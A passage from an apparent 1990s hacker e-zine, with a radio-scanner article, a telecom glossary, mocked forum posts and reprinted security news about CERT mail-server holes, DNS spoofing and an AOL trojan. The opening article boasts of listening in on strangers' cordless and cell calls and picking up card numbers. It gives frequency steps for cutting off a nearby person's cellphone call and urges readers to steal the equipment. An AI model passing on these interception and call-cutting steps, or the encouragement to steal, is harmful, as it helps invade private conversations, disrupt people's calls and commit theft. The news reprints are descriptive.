  2586.                       -------------------------
  2587.                      --=[Scanning for losers]=--
  2588.                         Written by shamr0ck
  2589.                       -------------------------
  2590.  
  2591. Today I'm going to tell you stuff about scanners and fun things you can do 
  2592. with them. I have found many different active frequencies but the ones that 
  2593. are the most entertaining are from cellphones (806-956MHz) and cordless 
  2594. phones (43-50MHz/902-928MHz). I've got a pro-62 scanner and it doesn't have 
  2595. the cellular frequencies on it because it's illegal to sell scanners that 
  2596. pick up cellphones in the United States, but not in Canada, if you catch my
  2597. drift. I am hoping to modify it some day, but anyway it does pick up cordless 
  2598. phones, and I've happened upon many different conversations with it. Like 
  2599. just today I heard some middle aged black guy having phone sex with a fat 
  2600. chick with a southern accent. Being the loser I am, I listened in for a while 
  2601. since I wasn't paying for it, and made sure to follow the warning message at 
  2602. the start of the call and kept both hands on the scanner at all times. I 
  2603. wasn't abusing myself or anything, I swear.  Because of this wonderful 
  2604. scanner I've picked up calling card and credit card numbers, but God knows I 
  2605. wasn't planning to use them, because I like paying for stuff. Yeah, that's 
  2606. it. One of the perks of being close to your unsuspecting scanner victim is 
  2607. that you can disconnect their cellphone call. First off get your fat ass off 
  2608. your computer, and run over to radio shack. Acquire a scanner by any means
  2609. necessary, but don't be a dumbass and pay more than $200 for it, if you pay
  2610. for it at all.  You could borrow one or something. Now you're all set. If 
  2611. you're listening to someone's cellphone call and you're within about 30 feet 
  2612. of the caller you can hang up their call. If you're asking yourself "How the 
  2613. fuck can I do that?", shut up and I'll tell you. Find their input frequency.. 
  2614. search 824-850 or whatever.  Add 45MHz to see if you hear them on the output 
  2615. along with the phone line audio. Then if you add 10.7 to that frequency 
  2616. (if you have a radio shack scanner) and punch it in it will generate a low 
  2617. power carrier on their phone. Because the phone thinks it lost the cell 
  2618. frequency it will hang up in about 3 seconds. I didn't come up with this I 
  2619. got it off a web page but who cares it's still funny as hell. Another thing 
  2620. to get if you want to know more about scanners is this book called Police 
  2621. Call. Rip it off at your local radio shack. If you want to know more just 
  2622. e-mail me at speidel@lightspeed.net or come see me on undernet #phreak.  If
  2623. I'm not there, goto #flood and bug those shitheads.
  2624. _____________________________________________________________
  2625.                   
  2626.                   ----------------------------------                     
  2627.                  --=[REality's Digital Dictionary]=--
  2628.                         Written by REality 
  2629.                 REF. Racal-DataCOM (elseberry@usa.net)
  2630.                   ----------------------------------
  2631.  
  2632. (ABAM)           
  2633. A designation for 22 gauge, 110 ohm, plastic insulated, twisted pair Western 
  2634. Electric cable normally used in central offices.
  2635.  
  2636. (A&B Leads)      
  2637. This shit refers to the additional leads used typically with a channel bank 
  2638. tow wire E&M interface to certain types of 'ereet' PBXs (also used to return 
  2639. talk battery to the PBX itself).
  2640.  
  2641. (A&B Signaling)  
  2642. Procedure used in T1 transmission facilities in which one bit, robbed from 
  2643. each of the 24 subchannels in every sisth frame, is used for carrying dial 
  2644. and control information. A type of T1 inband signaling, similar to ICMP for 
  2645. you warez kiddiez.
  2646.  
  2647. (Access Unit)   
  2648. Sometimes this shit is abbreviated as (AU). It is a device that provides ISDN 
  2649. access to a packet switched service or network. Otherwords, a k-rad iNET 
  2650. connection. 
  2651.  
  2652. (Acoustic Coupler)
  2653. WooHoo! This is a device that allows a telephone handset to be used for 
  2654. access tp the switched telephone network for data transmission (gennerally 
  2655. limited to low-speed 1200 bps).
  2656.  
  2657. (ACU)(Automatic Calling Unit)
  2658. A machine that dials a call automatically when under another computers 
  2659. control.
  2660.  
  2661. (A/D)
  2662. This is one of the easiest terms to remeber dwds. All it means is "Analog to 
  2663. Digital conversion."
  2664.  
  2665. (ADM3)
  2666. A Bellcore designation for the DS-3 device that has familar functionality to 
  2667. a T1 mux. Otherwords, a peice of shit..
  2668.  
  2669. (AIS)
  2670. In T1, an all ones condition used to alert a reciever thats its incoming 
  2671. signal or frame has been lost. The loss of signal or frame is detected at the 
  2672. recieving end, and the failed signal is replaced by all ones condition which 
  2673. the reciever interprets as an AIS! the normal response to this AIS is for the 
  2674. recieving end to generate a Yellow Alarm signal as part of its transmission 
  2675. towards the faulty end. This is sometimes called a Blue signal, and I have no 
  2676. idea why.
  2677.  
  2678. (Algorithm)
  2679. A defined set of operational steps to be taken to effect a desired 
  2680. calculation. An example of its use os the Data Encryption Standard (DES) 
  2681. algorithm of the National Bereau of Standards which is used in the encryption 
  2682. of transmitted data to protect its security.
  2683.  
  2684. (AM)(Amplitude Modulation)
  2685. A transmission technique where the amplitude of the carrier signal is varied 
  2686. by the value of the signal to be transmitted.
  2687.    
  2688. (Ameritech)
  2689. One of the seven Regional Bell Holding Companies, resulting from divesiture, 
  2690. covering the midwestern U.S., based in Chicago, and comprised of Illinois 
  2691. Bell, Indiana Bell, Michigan Bell, Ohio Bell, and Wisconsin Tel.
  2692.  
  2693. (Analog)
  2694. In data communcations, the description of the continous wave or signal for 
  2695. which conventional telephone lines are designed. For transmission on these 
  2696. lines, the digital or pulse output of a computer or terminal must be 
  2697. converted to an analog signal.
  2698.  
  2699. (ANI)(Automatic Number Identifacation)
  2700. Ability of the network to notify the called party of the calling party's 
  2701. number and/or directory listing.
  2702.  
  2703. (ATM)(Asynchronous Transfer Mode)
  2704. A high-speed, connection oriented cell relay transmission scheme that 
  2705. provides bandwidth to channels as needed. ATM used a 53-octet cell, where the 
  2706. first five octets convey header information and the remaining 48 octets are 
  2707. payload.
  2708.  
  2709. (Backbone Network)
  2710. A transmission facility or arrangement of such facilities designed to 
  2711. interconnect lower speed distribution channels or clusters of dispersed users 
  2712. or devices.
  2713.  
  2714. (Bandwidth)
  2715. A range of frequencies between two defined limits expressed in cycles per 
  2716. second or Hertz. Also, the information carrying capacity of a circuit.
  2717.  
  2718. (Baud)
  2719. A unit of signalling speed equivalent to the number of discrete conditions or 
  2720. signal elements per second. Multiple bits may be used to chracterize 
  2721. individual paramters within one baud(ie, 9600 bits per second as a rate of 
  2722. 2400 baud = 4 bits per each baud).
  2723.  
  2724. (Bellcore)(Bell Communications Research)
  2725. The orginization established at AT&T divesiture, representing and funded by 
  2726. the BOCs and RBOCs, for the purpose of establishing eleet telephone network 
  2727. standards and interfaces.
  2728.  
  2729. (Bit Stuffing) 
  2730. A process in bit-oriented protocols where a zero is inserted into a string of 
  2731. ones by the sender to prevent the reciever from interpreting valid user data 
  2732. as control characters.
  2733.  
  2734. Check out THTJ11 for the second installment of REality's Digital Dictionary
  2735. _____________________________________________________________
  2736.                     
  2737.                     -------------------------------
  2738.                    --=[K-Kool hackers chat here!]=--
  2739.                        Discovered by KungFuFox
  2740.                     -------------------------------
  2741.  
  2742. While I was busy trashing on the internet, I came across a superhacker 
  2743. forum that I think all of you should check out, because it's so elite.  Well, 
  2744. at least read the posts, it's funny as hell.  Topics include:      
  2745.  
  2746. "Can't hackers do something good"
  2747. "DO any of you really know what hacking is???"
  2748. "HACKING KICKS"
  2749. "Hack Chat for hackers only!"
  2750. "Real Hacker Conversations. Do not come in unless you are a real hacker."
  2751. "my moms a hacker"
  2752.  
  2753. Personally, I don't know of any hacker moms, and I was certainly interested 
  2754. in finding out what REAL HACKERS talk about, so I gave it a look.  Here's a 
  2755. few clips that I found to be rather entertaining, from the "HACKING KICKS" 
  2756. topic.
  2757.  
  2758. -
  2759. by scott@netbridge.net,
  2760. Mon Oct 28 03:06:37 1996
  2761. Achieving access to unauthorized places is also known as "burglary". If you
  2762. were to break into an unauthorized place, such as my house, for example, you
  2763. may find yourself bleeding from bullet wounds. Or, if the place you broke in
  2764. to was a computer address, you may find yourself suffering from some other 
  2765. ailment-imprisonment. All real hackers would tell you, prison life sucks! 
  2766. This is where all real hackers end up. All others are wannabe's. 
  2767.  
  2768. by scott@netbridge.net,
  2769. Mon Oct 28 03:12:31 1996
  2770. PS-If you are not brave enough to leave your name or address, then you must 
  2771. be a coward. 
  2772.  
  2773. by Hackers Heaven,
  2774. Thu Oct 31 22:10:59 1996
  2775. What do you want my address for, do you want to come over and watch me Hack? 
  2776.  
  2777. by Hackers Heaven,
  2778. Thu Oct 31 22:12:30 1996
  2779. If I were to break into your house, I would see to it that you were also 
  2780. bleeding from bullet wounds 
  2781.  
  2782. by scott@netbridge.net,
  2783. Fri Nov 1 05:37:02 1996
  2784. I don't like to go to dork's houses, or watch them play with their toys, 
  2785. pretending to be cool. Come on over-we'll see who's bleeding , and cut down 
  2786. on 50% of these messages. Thanks for your input. Dork.
  2787.  
  2788. by scott@netbridge.net,
  2789. Fri Nov 1 05:43:28 1996
  2790. PS-If you were a real hacker, you'd have a lot better things to do than leave 
  2791. messages here. I don't think you're fooling anyone. Give it up, you're not a 
  2792. real hacker, so quit pretending. 
  2793. -
  2794.  
  2795. Now isn't that just the most elite hacker talk you've ever seen? There's more
  2796. where those came from!
  2797.  
  2798. http://eagle.online.discovery.com
  2799. /cgi-bin/forums_view/dir861922735/Technology/Technology%20Central/Hackers/
  2800.  
  2801. Discovery probably owns the rights to all that crap once it was posted, but
  2802. that doesn't really matter now, does it?
  2803.  
  2804. _____________________________________________________________
  2805. [news]
  2806.                           
  2807.                           --------------   
  2808.                          --=[The News]=--
  2809.                     Compiled & edited by KungFuFox
  2810.                 [ More news from antifire and Scud-O ]
  2811.                           --------------
  2812.  
  2813.     1 : How To Hack Social Security
  2814.     2 : E-Mail Security Warning 
  2815.     3 : Internet security code said vulnerable to hackers    
  2816.     4 : Hacker Contest Fails to Crack Mac Web Server 
  2817.     5 : Columnist Who Warned of Net's Collapse Pays Up    
  2818.     6 : DNS: The Problematic Phone Book of Cyberspace
  2819.     7 : Viruses Tripled in Past Year
  2820.     8 : Trojan Vigilante Targets AOL Cheats 
  2821.     9 : Regional Phone Companies to Offer New Access Technologies for ISPs 
  2822.     10: Hacker Provokes Klan Site Shutdown
  2823.     11: RedButton Lets Anyone Be Everyone
  2824.     12: AOL4FREE Culprit Tells His Tale
  2825.     13: AGIS Keeps Mum Over Attack, FBI Inquiry
  2826.     14: HLO brings chaos to CERT conference
  2827.     15: 3rd Major NT Bug Found..................... antifire
  2828.     16: Maryland Starts 10 Digit Dialing........... Scud-O
  2829.     17: Bell Atlantic/ Nynex merger moves closer... Scud-O
  2830.     18: Inferno OS Beta Test is Released........... Scud-O
  2831.             
  2832.        "It's the latest in communictions technology."
  2833.        -Ross, from the motion picture 'Congo'
  2834. _____________________________________________________________
  2835.  
  2836.  How To Hack Social Security 
  2837.  
  2838.  WASHINGTON, D.C.: Want to know your co-worker's salary? How about checking 
  2839.  out how much your new boyfriend is really worth? It's all available on the 
  2840.  Social Security Administration's website with just a few bits of personal 
  2841.  information: Social Security number, mother's maiden name and state of 
  2842.  birth. The site, launched just a month ago, contains complete financial data 
  2843.  on tens of millions of Americans dating back to 1951. The reason behind the 
  2844.  page is primarily financial: The agency thinks that making the information 
  2845.  available on the Web will save millions of dollars in paperwork. Last year, 
  2846.  the SSA mailed some four million financial reports to taxpayers at a cost of 
  2847.  $5.23 each. Delivering the same report over the Internet costs a fraction of 
  2848.  a penny. As usual, the bureaucrats are not very concerned that the site 
  2849.  makes collecting private Social Security information relatively easy. "We 
  2850.  have confidence that in the huge majority of cases, the people requesting 
  2851.  these things are the right people," John Sabo, SSA's director of the 
  2852.  Electronic Services Staff, told USA Today, mysteriously.  
  2853. _____________________________________________________________
  2854.  
  2855.  E-Mail Security Warning 
  2856.  (04/08/97; 11:01 a.m. EST)
  2857.  By Jeff Sweat, InformationWeek
  2858.  
  2859.  Some versions of the IMAP and POP messaging and mail protocols contain 
  2860.  security holes that can let hackers manipulate Internet applications built 
  2861.  on the protocols and gain unauthorized access to networks, according to the 
  2862.  Computer Emergency Response Team.
  2863.  
  2864. The CERT Coordination Center, affiliated with Carnegie Mellon University in 
  2865. Pittsburgh, has issued a security advisory about the vulnerabilities in 
  2866. certain versions of the IMAP and POP protocols. Both protocols require root 
  2867. privileges so the server can access mail protocols.
  2868.  
  2869. Although those privileges are typically discarded after log-on, the security 
  2870. flaws let hackers gain root access to a system through text entered in the 
  2871. log-on transaction. The hacker, who doesn't require a user account, can then 
  2872. execute commands on the system through the root privileges.
  2873.  
  2874. The vulnerabilities affect IMAP d, IPOP 2d and IPOP 3d. To avoid problems, 
  2875. CERT recommended that IS organizations install a patch from their application 
  2876. vendors or upgrade to IMAP 4.0, revision 1. Until then, businesses should 
  2877. disable IMAP and POP services, CERT said. 
  2878.  
  2879. ⌐CMP Media, 1996.
  2880. _____________________________________________________________
  2881.  
  2882.  Internet security code said vulnerable to hackers    
  2883.  Wednesday, April 09, 1997 6:49:00 PM EDT
  2884.  By David Morgan
  2885.  
  2886.  ATLANTA (Reuter) - The new security protocol for safeguarding credit-card 
  2887.  transactions on the Internet may have to change because the underlying 
  2888.  cryptography is too easy to hack through and too difficult to upgrade, an 
  2889.  expert said Wednesday.
  2890.  
  2891. Steve Mott, senior vice president of electronic commerce and new ventures for 
  2892. MasterCard International, said it could take hackers as little as a year to 
  2893. break the industry's standard encryption code, which is supposed to render 
  2894. credit-card numbers unreadable to outsiders on the Internet's World Wide Web.
  2895.  
  2896. For that reason, the consortium of technology companies and creditors that 
  2897. has spent two years years developing the Secure Electronic Transaction (SET) 
  2898. protocol may switch to a faster encryption system called Elliptic Curve, 
  2899. which is produced by Certicom Corp.
  2900.  
  2901. The first complete version of SET, known as SET 1.0, will be available to 
  2902. software makers June 1 with core cryptography provided by RSA Data Security, 
  2903. a unit of Security Dynamics Technologies Inc.
  2904.  
  2905. "RSA is a very good starting point. But we suspect that in a year or two, the 
  2906. Kevin Mitnicks of the world will start to figure out ways to hack it," Mott 
  2907. said. Mitnick is one of the most notorious computer hackers.
  2908.  
  2909. "The only way you scale an RSA is to add a lot more bits. You add a lot more 
  2910. bits and it becomes more complex software in terms of the interaction of the 
  2911. transaction messages. That's part of what's taken SET so long to start with."
  2912.  
  2913. MasterCard has been helping put together merchants with its own member banks 
  2914. for SET pilot projects in Denmark, Japan, Taiwan, South Africa and the United 
  2915. States.
  2916.  
  2917. Mott told a news conference at the Internet Commerce Expo that the Elliptic 
  2918. Curve encryption system would make a better encryption core. In fact, he said 
  2919. it would have been chosen in the first place if developers had been known 
  2920. about it.
  2921.  
  2922. "It will fit on a chip card. I think its 160 bits equals security to 1,024 
  2923. bits of RSA," the credit industry executive said. "We anticipate putting it 
  2924. into some SET 1.0 pilots in the very near future this year in the U.S."
  2925.  
  2926. Far from being disturbed by the possibility of hackers getting through the 
  2927. current SET cryptography, Mott said SET's developers would "give them an 
  2928. award and a ribbon and then embody whatever they did as part of the 
  2929. improvements" in the next version of security standards.
  2930.  
  2931. "The current version for SET is as safe as anybody can make it," he said.
  2932.  
  2933. ⌐Reuters Ltd.
  2934. _____________________________________________________________
  2935.  
  2936.  Hacker Contest Fails to Crack Mac Web Server 
  2937.  April 12, 1997
  2938.  By JOE HUTSKO 
  2939.  
  2940.  It was an invitation few hackers could resist, a cracker come-on backed by a 
  2941.  cash prize: Be the first to break into our Web server and alter the home 
  2942.  page, and we'll give you $15,000. But when the dust had settled, the humble 
  2943.  Apple Macintosh Web server was still intact -- a boast that industry giants 
  2944.  and more powerful computers could not match. 
  2945.  
  2946. Two months have passed since Infinit Information, a systems consulting firm 
  2947. based in Sweden, posed its digital dare, dubbed "Crack a Mac," offering 
  2948. 100,000 Swedish kroner, or about $15,000, to anyone who could break into its 
  2949. Macintosh-powered Web server. 
  2950.  
  2951. In the first week alone, more than 38,000 visitors dropped by to take either 
  2952. a curious peek or an outright crack at the challenge. But by the time the 
  2953. contest closed on Thursday, the company's chief executive, Joakim Jardenberg, 
  2954. said that the cash would go uncollected because no one had managed to crack 
  2955. into the company's server. 
  2956.  
  2957. In all, Jardenberg said, people at more than 100,000 computers (as identified 
  2958. by uniqure IP addresses) visited the challenge site, sending more than 8 
  2959. gigabytes of data in their attempts to break in. He said that about 75 
  2960. percent of the visitors were from the United States, 20 percent were from 
  2961. Sweden, and the remaining 5 percent were from other nations, including El 
  2962. Salvador and Mauritius. 
  2963.  
  2964. The rules of the game were straightforward. Crackers could not physically 
  2965. attack the computer or company premises; they were required to reach the 
  2966. Infinit Information Web server through the Internet. "Breaking into our house 
  2967. would not only mean you would be disqualified from the challenge, you would 
  2968. also have to deal with our dog and the police," the company declared. 
  2969.  
  2970. Proof of the crack was to be substantiated by altering the company's home 
  2971. page in whatever way the cracker deemed fit -- graphically, textually, 
  2972. noisily -- so long as it was "human-readable." To collect the prize, the 
  2973. winner would be required to describe in detail how the crack was 
  2974. accomplished, as well as permit Infinit Information to publish (anonymously, 
  2975. if the winner preferred) its findings. 
  2976.  
  2977. Jardenberg also asked that anyone who managed to break in not violate the 
  2978. company's other servers, which it uses to run its business. 
  2979.  
  2980. The contestants included at least a few heavy hitters, said Jardenberg, who 
  2981. was inspired by a similar cracker contest, The Security Challenge, that ran 
  2982. in 1995. Jardenberg listed International Business Machines, Microsoft, 
  2983. Silicon Graphics Inc., AT&T, Netscape Communications, NASA, and the United 
  2984. States Army among the higher-profile organizations that tried to break into 
  2985. his company's server. 
  2986.  
  2987.   Citing high-profile cracker jobs like the attack on the Central 
  2988.   Intelligence Agency's home page last year, Jardenberg stated that the 
  2989.   contest's main objective was to prove the trustworthiness of the Apple 
  2990.   Macintosh as a secure Web server in comparison with Unix-based servers 
  2991.   produced by companies like Sun Microsystems and Silicon Graphics. 
  2992.  
  2993. There is no such thing as a definitive test of the security of one system 
  2994. versus another, but the outcome of Jardenberg's challenge clearly gives a lot 
  2995. of bragging rights to Mac proponents -- especially at a time when the Net is 
  2996. deluged with horror stories about security weaknesses in both Web servers, 
  2997. the machines that host sites, and Web browsers, the software that brings the 
  2998. Web into the user's machine. 
  2999.  
  3000. Infinit Information's challenge machine was a Macintosh 8500/150 running 
  3001. StarNine Technologies' WebStar server software. 
  3002.  
  3003. Having survived its first onslaught of attacks, Jardenberg said the company 
  3004. is giving its Mac server "a well-deserved break." But it won't be a vacation 
  3005. long. Jardenberg is promising foiled contestants another crack at the Infinit 
  3006. Information site in a few weeks. 
  3007.  
  3008. ⌐The New York Times 
  3009. _____________________________________________________________
  3010.  
  3011.  Columnist Who Warned of Net's Collapse Pays Up    
  3012.  Saturday, April 12, 1997 7:41:00 AM EDT
  3013.  
  3014.   SANTA CLARA, Calif. (Reuter) - A computer pioneer and industry columnist 
  3015.   who predicted -- wrongly -- that the Internet would collapse last year 
  3016.   kept his promise and literally ate his words at a conference room packed 
  3017.   with Net experts and partisans.
  3018.  
  3019. "Eat, baby, eat!" the crowd chanted, whooping and clapping, when columnist 
  3020. Bob Metcalfe tried to keep his pledge by eating a piece of giant cake iced to 
  3021. look like his column in the trade publication InfoWorld. It didn't fly.
  3022.  
  3023. Metcalfe -- who invented Ethernet computer networking and founded networking 
  3024. company 3Com Corp. -- had promised to eat the words from his December 1995 
  3025. column predicting a "catastrophic collapse" of the Internet in 1996 if it did 
  3026. not come to pass.
  3027.  
  3028. Metcalfe, who made the vow at a 1995 conference in Boston, argued at the 
  3029. Sixth International World Wide Web Conference in Santa Clara, Calif., 
  3030. Thursday that there had been major outages last year. But he acknowledged the 
  3031. big collapse had not happened.
  3032.  
  3033. When the audience at his closing address Thursday night objected to his cake 
  3034. gambit, the 51-year-old columnist said, with mock surprise, "I kind of 
  3035. suspected it would turn ugly."
  3036.  
  3037. He then ripped a copy of the column from a back issue of InfoWorld, tore it 
  3038. into pieces and dropped it into a clear liquid in a blender hidden on stage. 
  3039. Metcalfe poured the resulting mix into bowl, sampled the cloudy, pulpy 
  3040. substance with a spoon then slurped it down to the crowd's cheers.
  3041.  
  3042. ⌐Reuters Ltd.
  3043. _____________________________________________________________
  3044.  
  3045.  DNS: The Problematic Phone Book of Cyberspace
  3046.  by Simson Garfinkel 
  3047.  
  3048.  6:00pm 9.Apr.97.PDT -- Today the Internet's domain name system (DNS) 
  3049.  remains one of the networks' weakest links. DNS is the Internet protocol 
  3050.  that translates host names, like www.hotwired.com, into IP addresses, like 
  3051.  204.62.129.1. It's the phone book of cyberspace, but it's riddled with 
  3052.  problems. 
  3053.  
  3054. Others have chronicled the political problems that the domain name system's 
  3055. top-down structure has created. Most of these problems involve Network 
  3056. Solutions Inc. (aka InterNIC), which manages the .com, .mil, .edu, .gov, 
  3057. .net, and .org top-level domains. NSI has been criticized for its handling of 
  3058. trademark disputes involving domain names and allegedly monopolistic 
  3059. practices. 
  3060.  
  3061. What's worse, the domain name system is fundamentally insecure. By 
  3062. transmitting rogue packets to a computer, a hacker or information terrorist 
  3063. can confuse that machine, cajoling it into contacting one machine on the 
  3064. Internet when it means to reach another. Under certain conditions, a hacker 
  3065. can use DNS spoofing to break into a computer. DNS spoofing can be used to 
  3066. redirect or steal electronic mail, intercept pages sent over the World Wide 
  3067. Web, or impersonate other Web surfers. It's easy, untraceable, and becoming 
  3068. more common all the time. 
  3069.  
  3070. Over the past few years, a working group of the Internet Engineering Task 
  3071. Force has developed an improved DNS - called DNSSEC - that solves the 
  3072. protocol's underlying security problems. The Department of Defense's Internet 
  3073. Infrastructure Protection program funded the technical work, which was in 
  3074. turn carried out by Trusted Information Systems. That organization has made a 
  3075. working implementation of the protocol freely available for download. 
  3076.  
  3077. DNSSEC uses public key encryption and digital signatures to certify every 
  3078. address that's resolved by the DNS system. Each domain is assigned a public 
  3079. key. When your computer looks up a host in a particular domain, it checks the 
  3080. signature on the host's response. This eliminates spoofing; the bad guys can 
  3081. still send you a bogus response, but they can't sign it with the matching 
  3082. private key. 
  3083.  
  3084. Besides strengthening the domain name system, DNSSEC can function as a 
  3085. database for distributing public keys. "Currently there is no protocol 
  3086. defined for publishing and automatically obtaining a public key for a user, a 
  3087. Web site, etc. DNSSEC can be used for this," says EFF founder John Gilmore, 
  3088. who is helping with the effort. "The keys themselves can be VeriSign keys, 
  3089. DNSSEC keys, Elliptic Curve encryption keys, or whatever." 
  3090.  
  3091. Getting the Internet to adopt DNSSEC is a three-step process, says Donald 
  3092. Eastlake, secretary of the DNSSEC working group. First, network 
  3093. administrators and webmasters need to create public keys and secret keys for 
  3094. their Internet domains, and store those keys in their DNS servers. Second, 
  3095. they must modify their nameservers so they provide signed responses whenever 
  3096. a DNS query is made. Finally, the major server software companies must modify 
  3097. the resolves - the programs that run on the desktop and translate domain 
  3098. names into IP addresses - to verify those signatures. But no company I am 
  3099. aware of has announced plans to incorporate DNSSEC into its DNS resolves. 
  3100.  
  3101. Signature verification also requires use of the RSA patent, and RSA Data 
  3102. Security hasn't yet given its go-ahead. 
  3103.  
  3104. But what's most disturbing is that few people in the computer industry - even 
  3105. those who work with computer security - have even heard about DNSSEC. It will 
  3106. have to gain a higher profile before it will fly. 
  3107.  
  3108. ⌐Packet
  3109. _____________________________________________________________
  3110.  
  3111.  Viruses Tripled in Past Year
  3112.  
  3113.  2:54pm 15.Apr.97.PDT -- The National Computer Security Association (NCSA) 
  3114.  says the rate of computer virus infections has tripled over the past year, 
  3115.  with the viruses passing for the most part through Microsoft Word and 
  3116.  spreadsheet attachments sent via email. 
  3117.  
  3118. The study, released Monday, points to the evolution of viral hacking that 
  3119. travels through tiny "macro viruses" - written in bits of code - rather than 
  3120. disks or software which contain larger executable, and therefore dangerous, 
  3121. code. 
  3122.  
  3123. "Most really successful viruses are very simple, very quiet and they 
  3124. hitch-hike on the most commonly spread types of files" like Word documents 
  3125. and spreadsheets, said Candace Turtle, spokeswoman for Trend Micro Inc., a 
  3126. maker of antivirus software that sponsored the survey with Microsoft, 
  3127. Quarterdeck, and Symantec, among others. 
  3128.  
  3129. The results of the annual survey of 300 organizations - each with more than 
  3130. 500 PCs - show that the infection rate is about 33 per 1,000 computers per 
  3131. month, up from about 10 per 1,000 last year. The report shows that nearly as 
  3132. many virus incidents occurred in January 1997 as in the last six months of 
  3133. 1996. 
  3134.  
  3135. The most common virus over the past year has been the Word.Concept virus, 
  3136. which travels on Microsoft Word documents and infected 49 percent of all 
  3137. sites in the survey. The Wazzu virus, another macro virus that embeds itself 
  3138. in Word documents, was responsible for about one-fifth of all outbreaks, 
  3139. according to the study. 
  3140.  
  3141. "'Macro viruses' are a huge industry problem," says Christine Winkel, product 
  3142. manager at Microsoft, "and we are working closely with the antivirus 
  3143. community to make [macros] safer." To block viral outbreaks, Word 97, which 
  3144. shipped in January, alerts users when a document containing a macro is opened 
  3145. and gives the them the choice of enabling the macro or not. "We encourage 
  3146. people to say 'no' if they're not sure of the source," says Winkel. 
  3147.  
  3148. ⌐FEED 
  3149. _____________________________________________________________
  3150.  
  3151.  Trojan Vigilante Targets AOL Cheats 
  3152.  (4/17/97; 1:00 p.m. EST)
  3153.  By Douglas Hayward , TechWire
  3154.  
  3155.  WASHINGTON -- Cheats who attempt to steal Internet access from America 
  3156.  Online are having their hard disks wiped out by a digital vigilante.
  3157.  
  3158. A highly dangerous Trojan horse program is circulating on the Internet that 
  3159. deletes all files on a user's hard disk, researchers at the U.S. Department 
  3160. of Energy's Computer Incident Advisory Capability unit said Wednesday in an 
  3161. urgent bulletin. The program masquerades as a piece of illegal software, the 
  3162. AOL4free.com program, that lets users create fraudulent AOL user accounts.
  3163.  
  3164. Established in 1989, the  Computer Incident Advisory Capability is a U.S. 
  3165. government agency that provides computer security services to employees and 
  3166. contractors of the Department of Energy.
  3167.  
  3168. A Trojan horse program differs from a virus in that it must be run by users 
  3169. to do its damage. Trojan horses cannot automatically duplicate themselves or 
  3170. spread without human intervention, as viruses do.
  3171.  
  3172. "If you are E-mailed this file, or if you have down loaded it from an online 
  3173. service, do not attempt to run it," the agency said. "If the program was 
  3174. received as an attachment to an E-mail message, do not double-click [to open] 
  3175. it. Opening an attached program runs that program, which in this case deletes 
  3176. all the files on your hard drive," the agency said.
  3177.  
  3178. The AOL4free Trojan horse, which is just 933 bytes long, tells users that 
  3179. "Your computer has just been f***ed by *VP* f*** you AOL-lamer" while 
  3180. deleting all files on the user's hard disk using the DOS DelTree command. But 
  3181. pressing the Control and C keys before the Trojan horse has finished deleting 
  3182. the files will let users recover some files -- as long as they have programs 
  3183. that recover deleted files, the agency said.
  3184.  
  3185. The agency also told users not to be lulled into a false sense of security by 
  3186. a message circulated earlier this year that said it was not true the AOL4free 
  3187. program contained a virus. "That warning was either a hoax or a badly 
  3188. misunderstood description of this Trojan horse," it said. 
  3189.  
  3190. "A lot of people will think this kind of Trojan horse serves the user right 
  3191. because it punishes people who are trying to do something illegal," said Neil 
  3192. Barrett, a consultant on computer security with Groupe Bull and the author of 
  3193. "Digital Crime: Policing The Cybernation," a book published earlier this 
  3194. year. "Their attitude will be that this is actually a rather jolly piece of 
  3195. software. But the fact is digital vigilantes can do as much damage -- 
  3196. including damage to innocent people -- as real-life vigilantes can do."
  3197.  
  3198. Such serve-you-right attacks are becoming particularly popular among digital 
  3199. vigilantes targeting pedophiles on the Net, Barrett added. "We have come 
  3200. across cases where people have set up Websites that appear to be pedophile 
  3201. sites, with the intention of attracting pedophiles and then capturing their 
  3202. IP addresses. The people who set the sites up then attack people who have 
  3203. visited the site by planting viruses on them or by denial-of-service 
  3204. attacks," he said.
  3205.  
  3206. "Whatever you think about pedophiles or people who defraud organizations like 
  3207. AOL, the fact is that causing damage to computers is a criminal offense in 
  3208. most countries," Barrett said. "This kind of thing [Trojan horses] can also 
  3209. affect innocent users."
  3210.  
  3211. Because the rogue AOL4free program is a Trojan horse, experts say, it will 
  3212. spread slowly and its origins will be relatively easy to trace, making it 
  3213. unlikely to become a major menace. And though the agency said the program is 
  3214. circulating on the Net, antivirus researchers say it has made no real impact 
  3215. as yet.
  3216.  
  3217. "We have not had any reports from users being hit by these program, so we 
  3218. don't want people to start panicking about it" said Graham Cluley, a senior 
  3219. virus expert at U.K.-based security specialist Dr Solomon's Software. "It is 
  3220. probably going to be a fairly small-scale thing," he said. "There are far 
  3221. more important things to worry about, like the huge number of macro viruses 
  3222. around." 
  3223.  
  3224. ⌐CMP Media, 1996.
  3225. _____________________________________________________________
  3226.  
  3227.   Regional Phone Companies to Offer New Access Technologies for ISPs 
  3228.   April 22, 1997
  3229.   By SANDEEP JUNNARKAR 
  3230.  
  3231. While the Federal Communications Commission deliberates on whether to end the 
  3232. pricing exemption that Internet service providers receive on telephone 
  3233. service, the regional phone companies plan to release two rounds of new 
  3234. access technologies in the hopes of luring ISPs off the exempted lines and 
  3235. onto revenue-generating high-speed lines. 
  3236.   
  3237.  The federal rule, called the Enhanced Service Provider exemption, allows 
  3238.  ISPs, including InternetMCI Dial Access, America Online and the Microsoft 
  3239.  Network, to pay only local business connection rates. The regional phone 
  3240.  companies, commonly known as the Baby Bells, say that this rule denies them 
  3241.  revenues from long-distance communications at the same time that it's 
  3242.  clogging their lines. The FCC began providing this exemption in 1983 to help 
  3243.  foster the growth of the Internet. Phone companies say that the federal 
  3244.  exemption has served its purpose and is now counterproductive. 
  3245.  
  3246. Several Baby Bells, including Bell Atlantic, NYNEX, and Pacific Bell, plan to 
  3247. implement new temporary services that they say will alleviate congestion on 
  3248. the voice networks until they release a family of innovative access 
  3249. technologies in 1998.
  3250.  
  3251. Beginning this summer, NYNEX will market its Internet Access Provider 
  3252. Service, Bell Atlantic will focus on Internet Protocol Routing Service, and 
  3253. Pacific Bell will tout its Data Access Gateway. Apart from small technical 
  3254. variations, these systems are very similar. They involve taking the data 
  3255. traffic off the voice network near the ISP end of the call, directing it 
  3256. basically across the floor to a router that connects to a higher-speed frame 
  3257. relay network. 
  3258.  
  3259. "This is an approach a lot of the regional Bells seem to be taking to relieve 
  3260. a lot of the data traffic," said Peter Castleton, managing director for 
  3261. NYNEX's Data Access Products division. He added that the company's new 
  3262. service "helps to minimize some of the congestion and provides better and 
  3263. dedicated access to get to ISPs." 
  3264.  
  3265. But ISPs are apprehensive about the reliability of the networks offered by 
  3266. the Bells. 
  3267.  
